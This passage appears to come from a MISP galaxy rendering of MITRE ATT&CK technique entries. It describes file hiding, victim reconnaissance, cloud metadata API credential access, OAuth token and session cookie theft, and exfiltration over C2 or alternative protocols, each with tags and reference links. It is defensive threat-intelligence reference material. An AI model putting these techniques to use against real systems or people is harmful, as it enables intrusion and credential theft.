Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

**Windows**

Users can mark specific files as hidden by using the attrib.exe binary. Simply do \texttt{attrib +h filename} to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

**Linux/Mac**

Users can mark specific files as hidden simply by putting a “." as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ".", are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: \texttt{defaults write com.apple.finder AppleShowAllFiles YES}, and then relaunch the Finder Application.

**Mac**

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
Gather Victim Org Information - T1591

Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
Cloud Storage Object Discovery - T1619

Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.

Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs).

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Storage Object Discovery - T1619"

### Table 5095. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1619">https://attack.mitre.org/techniques/T1619</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html">https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs">https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs</a></td>
</tr>
</tbody>
</table>

System Network Configuration Discovery - T1422

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of operating systems they access or through information discovery of remote systems.

On Android, details of onboard network interfaces are accessible to apps through the java.net.NetworkInterface class.(Citation: NetworkInterface) Previously, the Android TelephonyManager class could be used to gather telephony-related device identifiers, information such as the IMSI, IMEI, and phone number. However, starting with Android 10, only preloaded, carrier, the default SMS, or device and profile owner applications can access the telephony-related device identifiers.(Citation: TelephonyManager)

On iOS, gathering network configuration information is not possible without root access.

Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1422) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422"

### Table 5096. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1422">https://attack.mitre.org/techniques/T1422</a></td>
</tr>
</tbody>
</table>
Cloud Instance Metadata API - T1522

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[://]169.254.169.254</code>.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1522"</code>

View relationships graph

Cloud Instance Metadata API - T1522 has relationships with:

- revoked-by: <code>misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"

Table 5097. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1522">https://attack.mitre.org/techniques/T1522</a></td>
</tr>
<tr>
<td><a href="https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse">https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse</a></td>
</tr>
</tbody>
</table>

Identify analyst level gaps - T1233

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1233).

Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115)
Generate analyst intelligence requirements - T1234

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1234).

Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)

The tag is: `misp-galaxy:mitre-attack-pattern="Generate analyst intelligence requirements - T1234"`

Command and Scripting Interpreter - T1623

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic [Unix Shell](https://attack.mitre.org/techniques/T1623/001) that can be accessed via the Android Debug Bridge (ADB) or Java's `Runtime` package.

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0027) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.

The tag is: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1623"`
Identify security defensive capabilities - T1263

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263).

Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify security defensive capabilities - T1263"

Table 5101. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1263">https://attack.mitre.org/techniques/T1263</a></td>
</tr>
</tbody>
</table>

Use multiple DNS infrastructures - T1327

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1327).

A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)

The tag is: `misp-galaxy:mitre-attack-pattern="Use multiple DNS infrastructures - T1327"

Table 5102. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1327">https://attack.mitre.org/techniques/T1327</a></td>
</tr>
</tbody>
</table>

Analyze application security posture - T1293

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1293).

An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)

The tag is: `misp-galaxy:mitre-attack-pattern="Analyze application security posture - T1293"

Table 5103. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1293">https://attack.mitre.org/techniques/T1293</a></td>
</tr>
</tbody>
</table>
Exfiltration Over C2 Channel - T1646

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646"

Table 5104. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1646">https://attack.mitre.org/techniques/T1646</a></td>
</tr>
</tbody>
</table>

Endpoint Denial of Service - T1642

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode, preventing the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode; they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)

The tag is: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1642"

Table 5105. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1642">https://attack.mitre.org/techniques/T1642</a></td>
</tr>
</tbody>
</table>

Malicious Software Development Tools - T1462

As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.

Detection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.

Platforms: Android, iOS
Malicious Software Development Tools - T1462 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Identify technology usage patterns - T1264

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1264).

Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)

Generate Fraudulent Advertising Revenue - T1472

An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.

Generate Fraudulent Advertising Revenue - T1472 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"
Identify sensitive personnel information - T1274

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1274).

An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify sensitive personnel information - T1274"

<table>
<thead>
<tr>
<th>Table 5109. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1274">https://attack.mitre.org/techniques/T1274</a></td>
</tr>
</tbody>
</table>

Exploitation of Remote Services - T1428

Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device's access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1423) or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

Depending on the permissions level of the vulnerable remote service, an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1404) as a result of lateral movement exploitation as well.

The tag is: `misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1428"

<table>
<thead>
<tr>
<th>Table 5110. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1428">https://attack.mitre.org/techniques/T1428</a></td>
</tr>
</tbody>
</table>
Identify web defensive services - T1256

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256).

An adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify web defensive services - T1256"

Table 5111. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1256">https://attack.mitre.org/techniques/T1256</a></td>
</tr>
</tbody>
</table>

Steal Application Access Token - T1528

Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). (Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.

In Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container's token and thereby gain access to Kubernetes API commands. (Citation: Kubernetes Service Accounts)

Token theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. (Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. (Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example
Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.\(^{1}\) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\(^{2}\)

Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens\(^{3}\), allowing them to obtain new access tokens without prompting the user.

The tag is: `misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528"`

### Table 5112. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1528">https://attack.mitre.org/techniques/T1528</a></td>
</tr>
<tr>
<td><a href="https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/">https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/</a></td>
</tr>
<tr>
<td><a href="https://auth0.com/learn/refresh-tokens/">https://auth0.com/learn/refresh-tokens/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens">https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols">https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app">https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow">https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow</a></td>
</tr>
<tr>
<td><a href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/">https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/</a></td>
</tr>
</tbody>
</table>

### Gather Victim Host Information - T1592

Adversaries may gather information about the victim’s hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.\(^{4}\) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may

---

\(^{1}\) Microsoft - Azure AD App Registration - May 2019

\(^{2}\) Microsoft - Azure AD Identity Tokens - Aug 2019

\(^{3}\) Auth0 Understanding Refresh Tokens

\(^{4}\) ATT ScanBox
reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Host Information - T1592"

### Table 5113. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1592">https://attack.mitre.org/techniques/T1592</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/infrastructure-research-hunting/">https://threatconnect.com/blog/infrastructure-research-hunting/</a></td>
</tr>
</tbody>
</table>

### Abuse Elevation Control Mechanism - T1626

Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1626"

### Table 5114. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1626">https://attack.mitre.org/techniques/T1626</a></td>
</tr>
</tbody>
</table>

### Identify people of interest - T1269

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269).

The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify people of interest - T1269"
**Data from Local System - T1533**

Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration.

Access to local system data, which includes information stored by the operating system, often requires escalated privileges. Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos. On Android, adversaries may also attempt to access files from external storage which may require additional storage-related permissions.

The tag is: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"`

**Post compromise tool development - T1353**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1353).

After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)

The tag is: `misp-galaxy:mitre-attack-pattern="Post compromise tool development - T1353"`

**Credentials from Password Store - T1634**

Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users to manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.
Generate Traffic from Victim - T1643

Adversaries may generate outbound traffic from devices. This is typically performed to manipulate external outcomes, such as to achieve carrier billing fraud or to manipulate app store rankings or ratings. Outbound traffic is typically generated as SMS messages or general web traffic, but may take other forms as well.

If done via SMS messages, Android apps must hold the `SEND_SMS` permission. Additionally, sending an SMS message requires user consent if the recipient is a premium number. Applications cannot send SMS messages on iOS.

Build or acquire exploits - T1349

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349).

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)

Table 5118. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1634">https://attack.mitre.org/techniques/T1634</a></td>
</tr>
</tbody>
</table>

Table 5119. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1643">https://attack.mitre.org/techniques/T1643</a></td>
</tr>
</tbody>
</table>

Table 5120. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1349">https://attack.mitre.org/techniques/T1349</a></td>
</tr>
</tbody>
</table>
Create infected removable media - T1355

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1355).

Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)

The tag is: `misp-galaxy:mitre-attack-pattern="Create infected removable media - T1355"`

Table 5121. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1355">https://attack.mitre.org/techniques/T1355</a></td>
</tr>
</tbody>
</table>

Steal Application Access Token - T1635

Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system “Open With” dialogue.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework used to issue tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry through OAuth 2.0 using a variety of authorization protocols. An example of a commonly-used sequence is Microsoft’s Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested without requiring user credentials.

The tag is: `misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1635"`

Table 5122. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1635">https://attack.mitre.org/techniques/T1635</a></td>
</tr>
<tr>
<td><a href="https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/">https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols">https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow">https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow</a></td>
</tr>
</tbody>
</table>

2335
Remote Service Session Hijacking - T1563

Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: `misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563"`

Table 5123. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1563">https://attack.mitre.org/techniques/T1563</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6">https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6</a></td>
</tr>
</tbody>
</table>

Steal Web Session Cookie - T1539

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. (Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system. (Citation: Kaspersky TajMahal April 2019) (Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns. (Citation: Github evilginx2)(Citation: GitHub Mauraena)

After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.

The tag is: `misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539"`
Table 5124. Table References

Links

https://attack.mitre.org/techniques/T1539
https://github.com/kgretzky/evilginx2
https://github.com/muraenateam/muraena
https://securelist.com/project-tajmahal/90240/
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wunderwuzzi23.github.io/blog/passthecookie.html

Targeted social media phishing - T1366

This technique has been deprecated. Please use [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003).

Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)

The tag is: `misp-galaxy:mitre-attack-pattern="Targeted social media phishing - T1366"

Table 5125. Table References

Links

https://attack.mitre.org/techniques/T1366

Exfiltration Over Alternative Protocol - T1639

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may opt to also encrypt and/or obfuscate these alternate channels.

The tag is: `misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1639"

